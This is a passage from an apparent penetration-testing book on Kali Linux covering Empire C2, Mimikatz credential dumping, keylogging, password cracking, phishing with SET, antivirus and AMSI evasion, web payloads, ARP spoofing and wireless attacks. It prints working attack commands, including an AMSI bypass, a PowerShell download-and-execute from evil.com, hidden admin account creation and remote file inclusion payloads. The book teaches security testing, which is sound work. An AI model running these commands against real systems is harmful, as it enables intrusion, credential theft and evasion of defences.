● Encrypted communications (via HTTPS or other channels)

● Post-exploitation capabilities

● Integration with Mimikatz and PowerView

● Support for pivoting and lateral movement

Using Listeners and Agents


1. Setting Up Listeners
Listeners are the network services Empire sets up to receive connections
from agents (compromised systems). Empire supports various listener
types, including:
● http/https: Standard for stealth over web ports.

● tcp: Raw TCP listeners for direct communication.

● named_pipes: Useful in internal environments and for avoiding


firewall rules.

● http_com: Communication over COM objects (stealthy).

Example: Starting a basic HTTPS listener


uselistener http
set Name Listener1
set Host https://your-attacker-server.com
execute

2. Launching Agents
Agents are the actual payloads or stagers executed on the target system.
Once run, they establish a secure channel with the listener and allow the
attacker to control the compromised host.
a. Generating Stagers
Stagers are the initial payloads used to deploy Empire agents. You can
generate stagers in various formats:
● PowerShell (launcher_bat, launcher_psh)

● Python (launcher_py)
● DLLs, HTA files, macro scripts, or executables

Example:
usestager windows/launcher_bat
set Listener Listener1
generate

The output is a bat file that, once executed on the target, spawns an agent.
b. Interacting with Agents
Once an agent checks in:
agents
interact <agent_name>

You can now issue commands, run modules, transfer files, and more.

Credential Theft and Keylogging


Credential harvesting is one of Empire’s most powerful capabilities, largely
powered by its integration with Mimikatz.

1. Using Mimikatz in Empire


usemodule credentials/mimikatz/logonpasswords
execute

This module will dump plaintext credentials, password hashes, and


Kerberos tickets from memory.
Other credential-related modules:
● credentials/mimikatz/lsadump: Dumps secrets from the SAM or LSA.

● credentials/mimikatz/tokens: Lists or impersonates access tokens.

● credentials/mimikatz/dcsync: Pulls credentials directly from a


Domain Controller.

2. Keylogging
Empire supports keylogging through native PowerShell modules, enabling
attackers to record keystrokes silently.
usemodule collection/keylogger
set Agent <agent_name>
execute

The keylogger logs to memory and periodically uploads the data back to the
Empire server. This can capture login credentials, chats, and other sensitive
input.

File Transfer, Execution, and Pivoting


1. Transferring Files
Empire can upload or download files to/from the target system.
Uploading:
upload /path/to/local/file.txt

Downloading:
download C:\Users\victim\Desktop\secrets.txt

2. Executing Binaries and Scripts


Empire allows execution of:
● Local binaries

● PowerShell one-liners

● Python, DLL, or shellcode payloads

Examples:
shell net user hacker pass123 /add
shell net localgroup administrators hacker /add

Or use usemodule to execute a PowerShell script like Invoke-


ReflectivePEInjection or Invoke-Shellcode.

3. Pivoting
Empire agents can be used as proxies to pivot into internal networks.
● Invoke-PsTunnel: Tunnels traffic through agents.

● SOCKS proxying: Allows Empire to relay traffic like a VPN.

Example of pivoting:
usemodule management/portfwd
set LocalPort 4444
set RemotePort 3389
set RemoteIP 192.168.1.5
execute

This would forward local port 4444 to RDP port 3389 on the internal IP.
Empire vs. Modern EDR and AVs
Empire, while powerful, has increasingly come under scrutiny from
modern Endpoint Detection and Response (EDR) and antivirus (AV)
solutions. Its reliance on PowerShell, a well-monitored attack vector, has
made traditional Empire usage noisy on well-defended networks.

1. Detection Mechanisms
Modern defenses detect Empire-based attacks through:
● Script Block Logging: PowerShell logs every command run (Event
ID 4104).

● AMSI (Antimalware Scan Interface): Scans scripts before


execution.

● Behavioral Analysis: Monitoring PowerShell spawning from Office


macros, encoded commands, or C2 callbacks.

● Known Indicators: Common agent and stager signatures are flagged.

2. Evasion Techniques
Despite detection improvements, Empire remains viable when combined
with obfuscation and evasion:
● PowerShell Obfuscation: Using tools like Invoke-Obfuscation to
evade signature detection.

AMSI Bypass:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')::'a
msiInitFailed' = $true

● Encoded and Encrypted Stagers: Reduces chance of static
detection.
● Reflective Injection: Running payloads directly into memory without
writing to disk.

● Named Pipe or HTTPS Listeners: Blend in with legitimate traffic.

3. Recommendations for Red Teamers


To remain effective against modern defenses:
● Use Empire in combination with C2 redirectors (e.g., Cobalt Strike’s
malleable profiles or nginx proxies).

● Rotate unique stagers per engagement to avoid signature overlap.

● Focus on post-exploitation techniques that mimic real user behavior.

● Integrate custom PowerShell modules to minimize reliance on


known Empire components.
Password Attacks and Cracking
Strategies
In the realm of penetration testing and ethical hacking, password attacks
play a critical role in gaining unauthorized access for the purposes of
identifying weaknesses in an organization’s security posture. Passwords
remain one of the most common security controls—and often the weakest
link. As such, understanding password cracking methodologies is essential
for any security professional working with Kali Linux.
This chapter explores both offline and online password attacks, strategies
for hash identification and cracking, credential reuse, and custom
wordlist creation using tools like Hashcat, John the Ripper, Crunch, and
Cewl.

Offline and Online Password Cracking


Offline Password Cracking
Offline attacks involve the cracking of password hashes that have been
retrieved from a compromised system. Since the attacker already has the
hashed credentials, they can perform unlimited attempts without alerting the
target system.
Common sources of password hashes:
● /etc/shadow (Linux)

● SAM/SYSTEM hives (Windows)

● Dumped database credentials


● Network captures with hashes (e.g., NTLM in SMB traffic)

Benefits of offline cracking:


● Stealthy (no network traffic)

● Faster using GPU acceleration

● Easily parallelized across machines

Online Password Cracking


Online attacks occur against live services, such as:
● SSH

● FTP

● RDP

● HTTP login forms

Examples include:
● Brute force attacks: Trying every possible combination.

● Dictionary attacks: Trying a list of common or targeted passwords.

● Credential stuffing: Trying known username/password combinations


from previous leaks.

Limitations of online cracking:


● Slow and noisy

● Can trigger account lockouts


● Often blocked by rate-limiting or IDS/IPS

Tools for online cracking:


● Hydra

● Medusa

● Ncrack

● Burp Suite (for web forms)

Hash Identification and Cracking with


Hashcat and John the Ripper
Identifying Hashes
Before cracking, the type of hash must be identified. Misidentifying the
hash can lead to wasted time and incorrect results.
Tools for hash identification:
● hashid

● hash-identifier

● Hashcat --example-hashes

Example:
hashid -m hash.txt

Cracking with Hashcat


Hashcat is a GPU-accelerated password cracking tool known for speed and
flexibility.
Basic syntax:
hashcat -m [hash_type] -a [attack_mode] hashes.txt wordlist.txt

● -m: Hash mode (e.g., 0 for MD5, 1000 for NTLM)

● -a: Attack mode (e.g., 0 for dictionary, 3 for brute force)

Example (crack NTLM hash using a dictionary):


hashcat -m 1000 -a 0 ntlm.txt /usr/share/wordlists/rockyou.txt

Key features:
● Rules-based mutation

● Mask attacks (?a?a?a?a123)

● Hybrid attacks

● Bruteforce using character sets

● GPU acceleration for high performance

Cracking with John the Ripper


John the Ripper (JtR) is a powerful password cracker that supports a wide
range of hash types and platforms.
Modes:
● Single crack: Uses known usernames and associated information.

● Wordlist: Uses dictionary attacks.

● Incremental: Pure brute force.


Example:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

To view cracked passwords:


john --show hashes.txt

John vs. Hashcat:


● Hashcat is better for GPU cracking and speed.

● John is more versatile for hash formats and hybrid attacks.

Credential Dumping and Reuse Attacks


Credential Dumping
Credential dumping is the process of extracting plaintext or hashed
credentials from memory or local files. It’s often used post-exploitation.
Popular methods:
● Mimikatz: Extracts plaintext passwords, NTLM hashes, and
Kerberos tickets from memory.

● Windows Credential Editor (WCE)

● LSASS dump: Dumping lsass.exe process memory for offline


parsing.

● Empire modules: Built-in credential harvesting features.

● pwdump, samdump2, secretsdump.py (Impacket)

Example using Mimikatz in Metasploit:


use post/windows/gather/credentials/mimikatz
set SESSION <session_id>
run

Credential Reuse Attacks


Credential reuse attacks involve using harvested credentials on other
systems or services. These are devastating in environments where password
hygiene is poor.
Examples:
● Using dumped domain admin credentials to access other servers via
RDP or SMB

● Reusing leaked credentials in web login forms

● SSH login using previously cracked keys

Tools:
● CrackMapExec: Spray credentials across networks

● Metasploit modules

● Hydra/Medusa for service login attempts

Best practice: Always try reused credentials in various protocols (RDP,


SMB, SSH, HTTP) for maximum lateral movement potential.

Creating Custom Wordlists with Crunch and


Cewl
Pre-built wordlists like rockyou.txt are helpful, but targeted attacks are far
more effective with custom wordlists tailored to your target.
Crunch
Crunch creates wordlists based on specific rules, including character sets,
lengths, and patterns.
Example:
crunch 8 8 -f charset.lst mixalpha-numeric -o custom.txt

Generates all 8-character combinations of alphanumeric characters.


Useful flags:
● -t: Pattern matching (e.g., -t @@2023@@)

● -o: Output file

● -f: Built-in character sets

Cewl
Cewl is a custom wordlist generator that crawls a website and extracts
keywords, names, and likely password candidates.
Example:
cewl https://targetsite.com -w customlist.txt

Options:
● -d: Depth of crawl

● -m: Minimum word length

● --email: Extracts emails

● --meta: Extracts metadata from documents


Use case: Building social engineering or brute-force lists based on
company-specific data.
Social Engineering Techniques
Social engineering remains one of the most effective and dangerous
techniques in the penetration tester’s toolbox. It exploits the human element
—the inherent trust and behavioral patterns of users—rather than relying
solely on technical vulnerabilities. Kali Linux provides specialized tools to
simulate realistic social engineering attacks, allowing ethical hackers to
assess how susceptible users are to manipulation.
This chapter delves deeply into social engineering tactics using SET
(Social-Engineer Toolkit), credential harvesting via website cloning,
malicious payload delivery through email, and techniques to bypass user
awareness and traditional defenses.

Phishing Campaigns with SET (Social-Engineer


Toolkit)
The Social-Engineer Toolkit (SET) is a powerful framework included in
Kali Linux, designed specifically to simulate various types of social
engineering attacks. It automates the creation and delivery of phishing
pages, malicious payloads, and other deception techniques that target the
human factor.

Features of SET:
● Website cloning and credential harvesting

● Email spear-phishing with malicious payloads

● QR code attacks

● PowerShell payload generation


● Mass mailer attack vectors

● Arduino-based HID attacks

Launching SET in Kali:


sudo setoolkit

After launching, you'll see a menu-driven interface offering different types


of social engineering attacks.

Common SET Attack Scenarios:


1. Spear-Phishing Attack Vectors

○ Send a crafted email containing a malicious attachment or link.

○ Combine with Metasploit to deliver payloads and establish


sessions.

2. Website Attack Vectors

○ Clone a legitimate website login page.

○ Harvest user credentials entered on the fake page.

3. Infectious Media Generator

○ Create payloads embedded in Office documents or PDFs.

○ Delivered via email or USB.


Cloning Websites and Harvesting Credentials
Cloning a trusted website and setting up a fake login page is a common
phishing tactic. SET streamlines this process, enabling attackers to collect
usernames and passwords when unsuspecting users attempt to log in.

Steps to Clone and Harvest:


Launch SET and select:
Social-Engineering Attacks > Website Attack Vectors > Credential
Harvester Attack Method

1. Choose Site Cloner and input the URL of the target site (e.g.,
https://www.facebook.com).

2. SET will clone the site locally and host it using Apache or
Python HTTP server.

Once the victim visits the spoofed link and enters their credentials, the
information is saved locally:
/var/www/html/

3. Attackers can monitor the terminal for live credential capture.

Tips for Realism:


● Use typosquatted domains (e.g., micr0soft.com)

● Deploy over HTTPS with a fake or self-signed certificate

● Embed links in believable phishing emails


Malicious Payload Delivery via Email
Email remains one of the most popular delivery vectors for malicious
payloads. Tools like SET and Metasploit allow attackers to craft believable
emails containing attachments or links to weaponized documents.

Types of Email Payloads:


● Macro-enabled Office Documents

○ Embed VBA macros that trigger reverse shells.

● PDF Exploits

○ Exploit vulnerabilities in PDF readers to execute code.

● HTA (HTML Application) Files

○ Used in combination with PowerShell for in-memory payloads.

● Executable Files (EXE)

○ Sent as disguised applications (e.g., invoices, job offers).

Tools for Crafting Emails:


● SET’s Mass Mailer Attack module

● msfvenom for payload generation

● Python scripts for spoofed SMTP delivery

Example: Using SET to Send a Phishing Email


Launch SET:
Social-Engineering Attacks > Spear-Phishing Attack Vectors
Choose:
Perform a Mass Email Attack > Create a FileFormat Payload

1. Select the type of payload (e.g., PDF embedded with Metasploit


payload).

2. Craft and send a custom email with an enticing message and


attachment.

Precautions:
● Always use these techniques in a controlled, permission-based
environment.

● Ensure phishing simulations are clearly scoped and logged.

Bypassing User Awareness and Defense


Even with user training and awareness campaigns, social engineers find
creative ways to bypass common defenses. Success lies in exploiting
psychological triggers such as fear, curiosity, urgency, and authority.

Psychological Tactics:
● Urgency: "Your account will be locked unless you act now."

● Authority: Posing as HR, IT support, or management.

● Scarcity: "Limited time offer—click here."

● Curiosity: "Confidential salary review document attached."

Techniques to Evade Detection:


● Obfuscation: Use encoding (Base64, Unicode) or packers to hide
malicious payloads.

● Code Injection: Use signed scripts or inject payloads into legitimate


processes.

● In-memory Execution: Avoid writing to disk by executing shellcode


or PowerShell scripts directly in memory.

● Custom Payloads: Modify Metasploit-generated payloads to avoid


signature-based detection.

Evasion Tools:
● Veil-Framework: Payload obfuscation and antivirus evasion

● Unicorn: PowerShell-based attack generation

● Nishang: PowerShell exploitation framework

● Empire: Executes sophisticated, stealthy post-exploitation attacks

User Awareness Defeat Examples:


● Spoofed company domain (e.g., it-support@compаny.com with a
Cyrillic “a”)

● Fake internal surveys hosted on cloned SharePoint sites

● Dropbox or Google Docs phishing pages


Bypassing Firewalls and Antivirus
Systems
As security systems have matured, modern networks are typically fortified
with firewalls, antivirus (AV) software, and endpoint detection and
response (EDR) platforms. These mechanisms can thwart traditional attack
vectors by detecting, logging, and blocking suspicious activities and
payloads. For penetration testers and red teamers, understanding and
bypassing these defenses is essential to simulate realistic threat scenarios
and assess the robustness of an organization’s security posture.
This chapter explores advanced techniques for bypassing such defenses
using obfuscation, custom payloads, tunneling, and evasion frameworks.
The goal is to remain undetected long enough to demonstrate what a real
threat actor could accomplish and to help security teams shore up gaps.

Obfuscation and Encoding Techniques


Obfuscation involves modifying code or payloads to make them difficult
for defensive tools to analyze or detect. Antivirus software relies heavily on
signatures and heuristic analysis, so changing the appearance or behavior
of an exploit can help evade detection.

Types of Obfuscation:
1. Code Obfuscation

○ Altering the syntax without changing the logic (e.g., variable


renaming, dummy functions).
2. Encoding Techniques

○ Base64, hex, or Unicode encoding of payloads.

○ Useful for hiding malicious content in scripts or URLs.

3. Encryption of Payloads

○ Custom encryption schemes or packers to cloak the payload


until runtime.

Example: Obfuscating PowerShell


# Original
Invoke-Expression (New-Object
Net.WebClient).DownloadString("http://evil.com/payload.ps1")

# Obfuscated
$w='Net.WebClient';$d='DownloadString';(New-Object ($w)).($d)
("http://evil.com/payload.ps1")

Tools for Obfuscation:


● Invoke-Obfuscation: A PowerShell obfuscator

● Obfuscator.io: JavaScript obfuscation

● Gcat: For base64-encrypted reverse shells


Custom Payload Generation with Veil and
Shellter
To bypass AV detection, generating custom payloads is a crucial tactic.
Standard payloads from tools like Metasploit are often flagged by AVs.
Tools like Veil and Shellter can generate fully obfuscated and polymorphic
binaries that are much harder to detect.

Veil Framework
Veil is designed to generate AV-evasive payloads, typically in Python,
PowerShell, or C.
Steps to Generate a Payload:
sudo veil

1. Choose Evasion

2. Select a language (e.g., Python)

3. Configure the payload (e.g., reverse shell)

4. Output the executable and the handler config for Metasploit

Payload Example:
● veil-evasion > python/meterpreter/rev_https

Veil can combine:


● AES encryption

● Function-level obfuscation

● Environment variable manipulation


Shellter
Shellter injects payloads into legitimate Windows executables, creating
polymorphic trojans.
Key Features:
● Works in both automatic and manual modes

● Preserves the original functionality of the host executable

● Dynamically modifies shellcode to avoid detection

Workflow:
1. Select a clean executable (e.g., Notepad.exe)

2. Choose payload (reverse TCP, meterpreter)

3. Run Shellter in Windows with Wine (on Kali)

Tunneling and Evasion Techniques


Firewalls often block specific ports, protocols, or payloads associated with
attacks. To circumvent these restrictions, attackers use tunneling to
encapsulate traffic inside permitted protocols, or route it through trusted
services.

SSH and VPN Tunneling


● Use SSH tunnels to forward traffic from a blocked port to a permitted
one.

● VPNs can encrypt and mask traffic, making it appear legitimate.

DNS Tunneling
Tools like dnscat2 or iodine enable exfiltration or C2 communication via
DNS queries.
iodine -f -P password tun.example.com

HTTP/S Tunneling
Encapsulate reverse shell connections within HTTP or HTTPS traffic using:
● Meterpreter reverse_https

● Chisel

● Proxifier + Socat

Cloud-Based Tunnels
Abuse trusted services like:
● Google Drive

● Dropbox

● GitHub (for hosting payloads)

● Slack or Telegram (for C2)

Evasion Tools:
● FoxyProxy: Browser-based proxy control

● FRP (Fast Reverse Proxy): Port forwarding and tunneling

● Covenant and Mythic: C2 frameworks with stealth tunneling


capabilities
Understanding Endpoint Protection Mechanisms
To bypass a system, one must first understand what protects it. Modern
security tools are not limited to AV but include a suite of behavioral and
heuristic systems:

Key Components of Endpoint Protection:


1. Signature-Based AV

○ Matches known malware signatures (easy to bypass with


modified code).

2. Heuristic Analysis

○ Flags abnormal behavior (e.g., memory injection, process


hollowing).

3. Behavioral Monitoring

○ Tracks how a file behaves during execution (e.g., accessing


LSASS.exe).

4. Endpoint Detection and Response (EDR)

○ Advanced logging and telemetry with real-time blocking and


alerting.

5. Sandboxing
○ Executes suspicious files in a controlled environment to analyze
behavior.

Bypass Techniques:
● Living Off the Land Binaries (LOLBins)

○ Use built-in Windows tools like certutil, mshta, or powershell


for malicious tasks.

○ Harder for AV to block without risking system functionality.

● In-Memory Execution

○ Run payloads in RAM only, avoiding disk writes.

● Signed Binary Abuse

○ Hijack trusted signed executables to execute malicious code.

● DLL Sideloading

○ Plant malicious DLLs next to trusted applications that load


them at runtime.
Web Application Testing with Kali
Linux
Web applications are one of the most common targets for attackers due to
their exposure to the public internet and the sensitive data they often handle.
Kali Linux, with its powerful arsenal of security tools, is ideally suited for
identifying and exploiting vulnerabilities in web applications. This chapter
delves into the essentials of web app testing, focusing on common web
vulnerabilities, tools available in Kali Linux, and the trade-offs between
manual and automated testing approaches.

Web Vulnerabilities Overview (OWASP Top 10)


The OWASP Top 10 is a widely respected list of the most critical security
risks to web applications. Understanding these risks is foundational for any
web application penetration tester.

1. Broken Access Control


Improper enforcement of user permissions allows attackers to access
unauthorized resources.

2. Cryptographic Failures
Weak or misconfigured encryption leads to data exposure.

3. Injection Attacks
Includes SQL, OS, and LDAP injection. Occurs when untrusted data is sent
to an interpreter as part of a command or query.

4. Insecure Design
A fundamental flaw in how the application is architected, leaving it open to
exploitation.

5. Security Misconfiguration
Default settings, unnecessary services, or incomplete security hardening.

6. Vulnerable and Outdated Components


Use of libraries and frameworks with known flaws.

7. Identification and Authentication Failures


Poor authentication and session management practices (e.g., weak
passwords, no MFA).

8. Software and Data Integrity Failures


Compromised software updates or CI/CD pipeline issues.

9. Security Logging and Monitoring Failures


Lack of detection capabilities.

10. Server-Side Request Forgery (SSRF)


When a server fetches a remote resource based on user input, potentially
exposing internal systems.

SQL Injection, XSS, CSRF, and LFI/RFI


SQL Injection (SQLi)
SQL Injection occurs when unsanitized user input is used in database
queries, allowing attackers to manipulate or extract database contents.
Example:
SELECT * FROM users WHERE username = 'admin' --' AND password =
'';
Tools:
● sqlmap: Automates SQL injection detection and exploitation.

● Burp Suite: Manual tampering of request parameters.

Cross-Site Scripting (XSS)


Injecting malicious JavaScript into web pages viewed by others.
● Stored XSS: Script is permanently stored on the server.

● Reflected XSS: Script is reflected off a web server.

● DOM-based XSS: Manipulation of the DOM on the client-side.

Payload Example:
<script>alert('XSS')</script>

Tools:
● XSStrike

● Burp Suite's Intruder and Repeater

Cross-Site Request Forgery (CSRF)


Tricks users into executing unwanted actions on web apps where they are
authenticated.
Exploit Example:
<img src="http://bank.com/transfer?amount=1000&to=attacker_account">

Detection Tips:
● Look for state-changing operations (POST/PUT/DELETE).

● Check for lack of CSRF tokens.

Tools:
● Burp Suite (manual)

● OWASP ZAP

Local File Inclusion (LFI) and Remote File Inclusion (RFI)


LFI allows attackers to include files from the local system via user input.
<?php include($_GET['page']); ?>

Payload:
?page=../../../../etc/passwd

RFI includes remote files via a URL (often restricted in modern PHP
configs):
?page=http://evil.com/shell.txt

Detection:
● Inspect dynamic file inclusion points.

● Monitor response for path disclosure.

Tools:
● wfuzz
● burp

● Custom scripts

Tools: Burp Suite, Nikto, and Dirbuster


Burp Suite
A comprehensive web application testing platform. Used for intercepting
traffic, modifying requests, automating attacks, and more.
Features:
● Proxy: Intercept and modify HTTP/S requests.

● Intruder: Brute force, fuzzing, parameter tampering.

● Repeater: Manual testing and replay of HTTP requests.

● Scanner: Automated vulnerability scanner (Pro version).

● Extender: Add custom plugins.

Typical Workflow:
1. Configure browser to use Burp proxy.

2. Intercept login form.

3. Send request to Repeater or Intruder.

4. Modify payloads or fuzz parameters.

Nikto
Nikto is a fast and lightweight web server scanner that checks for:
● Outdated software

● Insecure files and directories

● Configuration issues

● Default credentials

Usage:
nikto -h http://target.com

Dirbuster (or Dirb)


Used for brute-forcing directories and files on web servers.
Usage:
dirb http://target.com /usr/share/wordlists/dirb/common.txt

Dirbuster (GUI version) allows you to:


● Use custom wordlists

● Set file extensions

● Multi-threaded brute force

Manual vs Automated Web Testing


Manual Testing
Advantages:
● Allows for creativity and logic.

● Better at uncovering business logic flaws.


● Essential for interpreting complex responses.

Manual Tasks:
● Fuzzing individual parameters.

● Reviewing application logic.

● Constructing exploit payloads.

Tools:
● Burp Suite

● Browser Dev Tools

● Curl/Wget

● Postman

Automated Testing
Advantages:
● Speed and efficiency.

● Coverage of a large number of endpoints.

● Good for identifying common issues (e.g., outdated components,


exposed files).

Automated Tools:
● Nikto: Web server issues.

● sqlmap: SQLi.
● OWASP ZAP: Full automated scanning.

● Wfuzz, Gobuster: Directory brute force.

Limitations:
● High false positives.

● Can miss logical flaws.

● Risk of breaking production apps.

Hybrid Approach
The most effective web penetration tests combine both manual and
automated techniques:
1. Start with recon and automated scanning to identify potential
vulnerabilities.

2. Manually verify and exploit high-value targets.

3. Document vulnerabilities and recommend fixes.


Network Sniffing and Traffic
Analysis
Network sniffing and traffic analysis are foundational techniques in
penetration testing, allowing security professionals to monitor, intercept,
and analyze data packets traveling across networks. These techniques can
reveal valuable information about network infrastructure, user activities,
protocols in use, and potential vulnerabilities. In this chapter, we will
explore tools and tactics for effective network sniffing, with a focus on
capturing and analyzing traffic using Wireshark and Tcpdump, identifying
sensitive data, and performing advanced attacks like ARP spoofing and
Man-in-the-Middle (MitM) intrusions.

Capturing Packets with Wireshark and


Tcpdump
Wireshark
Wireshark is a powerful graphical network protocol analyzer that allows
users to inspect network traffic in real time or from saved packet capture
files (PCAPs). It’s ideal for both beginners and professionals due to its rich
feature set and ease of use.
Key Features:
● GUI with real-time packet display

● Advanced filtering with display filters

● Protocol decoding and color-coding


● Exporting objects (e.g., images, executables)

● Decryption support for SSL/TLS (with proper keys)

Common Use Cases:


● Analyzing login forms for exposed credentials

● Identifying DNS leaks or insecure protocols

● Viewing HTTP requests, headers, and payloads

Basic Usage:
wireshark

Once launched, select the appropriate network interface to start capturing.


Use display filters such as:
http
ip.addr == 192.168.1.10
tcp.port == 80

Tcpdump
Tcpdump is a powerful command-line packet analyzer included in Kali
Linux. It is lightweight and useful for remote packet capture or scripting.
Example Usage:
tcpdump -i eth0
tcpdump -i wlan0 -w capture.pcap
tcpdump -nn port 80
Useful Options:
● -i <interface>: Specify the network interface

● -w <file>: Write output to a capture file

● -nn: Don’t resolve names

● -v, -vv: Increase verbosity

Tcpdump can also be used to capture data stealthily or remotely on a


compromised host.

Analyzing Cleartext and Encrypted Traffic


Cleartext Protocols
Several protocols transmit data without encryption. Capturing traffic from
these protocols can immediately reveal sensitive data.
Examples:
● HTTP: URLs, headers, form data

● FTP: Usernames and passwords

● Telnet: Entire session in cleartext

● SMTP/IMAP/POP3 (without SSL): Email contents

Wireshark Tip: Use filters like:


ftp
telnet
http.request.method == "POST"
Encrypted Protocols
Encrypted traffic such as HTTPS, SSH, or VPN tunnels cannot be easily
inspected unless decryption is possible.
Decryption Options:
● SSL/TLS decryption (requires private key or session key)

● Capturing decrypted data on the client using proxy tools like Burp
Suite

● Downgrade attacks (in advanced MitM scenarios)

SSL/TLS Decryption with Wireshark:


If you have the private key:
● Go to Edit > Preferences > Protocols > TLS

● Set RSA Keys List or SSL debug file

Note: Modern browsers use ephemeral keys (e.g., ECDHE) making key-
based decryption ineffective.

Identifying Protocols and Sensitive Data


Once packets are captured, identifying which protocols are in use and
searching for valuable data is the next step.

Identifying Protocols
Wireshark automatically detects most common protocols:
● Look at the Protocol column in Wireshark

● Use filters like tcp, udp, dns, dhcp, smb, ntlmssp


Sensitive Data Discovery
What to Look For:
● Usernames and passwords

● Session cookies

● API tokens

● Internal IP addresses and hostnames

● Software banners and versions

Wireshark Filters:
http.auth
ftp.request.command == "USER"
tcp contains "password"

Reassembling Objects:
Wireshark can extract files transferred via HTTP, FTP, SMB:
● Go to File > Export Objects > HTTP

Analyzing DNS Leaks:


dns

Inspect requests for domains that might indicate malware, C2 channels, or


data leaks.
ARP Spoofing and Man-in-the-Middle
Attacks
ARP Spoofing Basics
Address Resolution Protocol (ARP) is used to map IP addresses to MAC
addresses on local networks. It’s unauthenticated, making it vulnerable to
spoofing.
ARP Spoofing Tools:
● arpspoof (from dsniff suite)

● Ettercap

● Bettercap

Example (arpspoof):
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

This tells the victim (192.168.1.100) that you (attacker) are the gateway
(192.168.1.1), intercepting all traffic.

Man-in-the-Middle (MitM) Attacks


Once ARP spoofing is successful, the attacker can:
● Sniff traffic: View unencrypted data in real time

● Modify traffic: Inject scripts or malicious content

● Downgrade HTTPS: Strip SSL/TLS in insecure apps

Ettercap Usage:
ettercap -T -q -i eth0 -M arp:remote /192.168.1.100/ /192.168.1.1/
Bettercap:
More modern and powerful, with HTTPS stripping and injection
capabilities.
bettercap -iface eth0

Inside the interactive shell:


net.probe on
net.sniff on
arp.spoof on

Precautions:
● Perform these attacks only in lab environments or with explicit
authorization.

● Many modern OS and networks detect ARP poisoning and may block
traffic.
Wireless and Bluetooth Hacking
Wireless and Bluetooth hacking has become a critical domain in penetration
testing, especially with the ubiquity of Wi-Fi networks, Bluetooth-enabled
devices, and IoT systems. Unlike wired networks, wireless communication
is broadcast openly and is susceptible to a wide range of attacks including
eavesdropping, impersonation, unauthorized access, and exploitation. In
this chapter, we will dive into scanning and mapping wireless networks,
exploiting Bluetooth vulnerabilities, setting up rogue access points and
honeypots, and performing attacks on IoT devices that use wireless
communication protocols.

Scanning and Mapping Wireless Networks


The first step in any wireless penetration test is reconnaissance—identifying
access points (APs), clients, channels, encryption methods, and network
topology.

Tools and Techniques


airmon-ng and airodump-ng (Aircrack-ng Suite)
Enable Monitor Mode:
airmon-ng start wlan0
● Scan for Networks:
airodump-ng wlan0mon
airodump-ng provides a live overview of:
● SSIDs and BSSIDs (network names and MAC addresses)
● Channel and signal strength

● Encryption (WEP/WPA/WPA2/WPA3)

● Number of connected clients and their MAC addresses

kismet
● Advanced passive wireless detector, sniffer, and IDS.

● Logs full wireless traffic including hidden SSIDs, client associations,


and signal tracking over time.

wigle.net
● A global database for Wi-Fi network mapping and GPS-based
scanning.

● Useful for red teamers and recon-heavy engagements.

Identifying Hidden SSIDs


When SSID broadcast is disabled, the SSID field may appear blank.
However, tools like airodump-ng and kismet can reveal hidden SSIDs by
observing beacon frames, probe requests, or when a device connects to the
AP.

Exploiting Bluetooth Devices


Bluetooth is a short-range wireless protocol used for communication
between devices such as headsets, smartphones, computers, IoT, and
medical equipment. Like Wi-Fi, it can be exploited if misconfigured or
using outdated protocols.

Bluetooth Reconnaissance
hcitool
Basic command-line tool to scan for nearby Bluetooth devices:
hcitool scan

bluetoothctl
Interactive tool to manage Bluetooth connections and perform pairing or
info gathering.
l2ping
Ping a Bluetooth device to confirm connectivity:
l2ping -c 5 <MAC>

bluelog
A tool for Bluetooth device tracking, logs visible devices with signal
strength and time.

Common Vulnerabilities
● Default PIN pairing (e.g., 0000, 1234)

● Unpatched firmware

● BlueBorne: Critical vulnerability suite allowing attackers to take


control of devices over Bluetooth without pairing.

Attacks and Tools


btscanner
● GUI scanner for device profiles and services.

● Identifies OBEX, Serial Port Profile (SPP), Audio Gateway, and


more.
carwhisperer
● Exploits vulnerabilities in Bluetooth-enabled car kits and headsets to
inject or record audio.

bluetooth-hcidump
● Packet analyzer for Bluetooth HCI (Host Controller Interface)
packets.

Note: Always obtain explicit permission before scanning or attacking


Bluetooth devices, especially in public or professional environments.

Rogue Access Point Creation and Honeypots


A rogue access point is a fake Wi-Fi AP that mimics a legitimate network
to attract unsuspecting users. Once connected, attackers can intercept
traffic, capture credentials, and perform man-in-the-middle attacks.

Evil Twin Attacks


Tools:
● airbase-ng

● Wifiphisher

● hostapd

● Bettercap

Example using airbase-ng:


airbase-ng -e "Free_WiFi" -c 6 wlan0mon

Wifiphisher
Automates the creation of phishing-style fake APs:
● Captive portals requesting Wi-Fi passwords

● Firmware upgrade scams

● Credential harvesters

Example:
wifiphisher

Honeypots
Honeypots are intentionally vulnerable systems designed to attract attackers
and monitor their behavior.
Karma
Rogue AP that responds to all probe requests, tricking clients into
connecting.
Mana Toolkit
Advanced rogue AP suite built on top of Karma, supports SSL stripping,
credential collection, and captive portals.
Use cases:
● Employee security awareness testing

● Malware campaign tracking

● Behavioral analysis of malicious actors

Security tip: Modern OSs may detect captive portals or suspicious AP


behavior. Use SSID cloaking, MAC randomization, and client
fingerprinting for stealth.
IoT Device Enumeration and Attacks
The rise of IoT (Internet of Things) has introduced thousands of wireless-
enabled devices—from thermostats to smart TVs—many of which are
insecure by default. Penetration testing of IoT focuses on identifying
devices, exploiting open services, and accessing sensitive data or control
mechanisms.

IoT Enumeration Techniques


● Network Scanning: Use nmap or masscan to discover connected IoT
devices.

● MAC Vendor Lookup: Helps identify device manufacturers.

UPnP/SSDP Discovery: Devices often expose services for remote


configuration.
nmap -sU -p 1900 --script=ssdp-discover <target>

● Shodan: Internet-wide search engine for exposed devices.

Common Vulnerabilities
● Default credentials (admin:admin, root:1234)

● Insecure firmware with hardcoded passwords

● Open services like Telnet, FTP, or HTTP APIs

● Remote Code Execution via misconfigured web interfaces

Tools for IoT Attacks


● Binwalk: For firmware analysis and extraction
● Firmware-Mod-Kit: Modify and repack firmware images

● Hydra: Brute-force web and service logins

● Metasploit: Contains IoT-specific modules

Telnet Attack Example:


hydra -L users.txt -P passwords.txt telnet://192.168.1.30

Exploiting MQTT (common IoT protocol):


Use mosquitto_sub and mosquitto_pub to subscribe/publish to topics on
vulnerable brokers.
Writing Custom Exploits and
Scripts
Writing custom exploits and scripts is a cornerstone of advanced
penetration testing. While prebuilt tools and frameworks like Metasploit are
powerful, there are scenarios where crafting your own exploit or automation
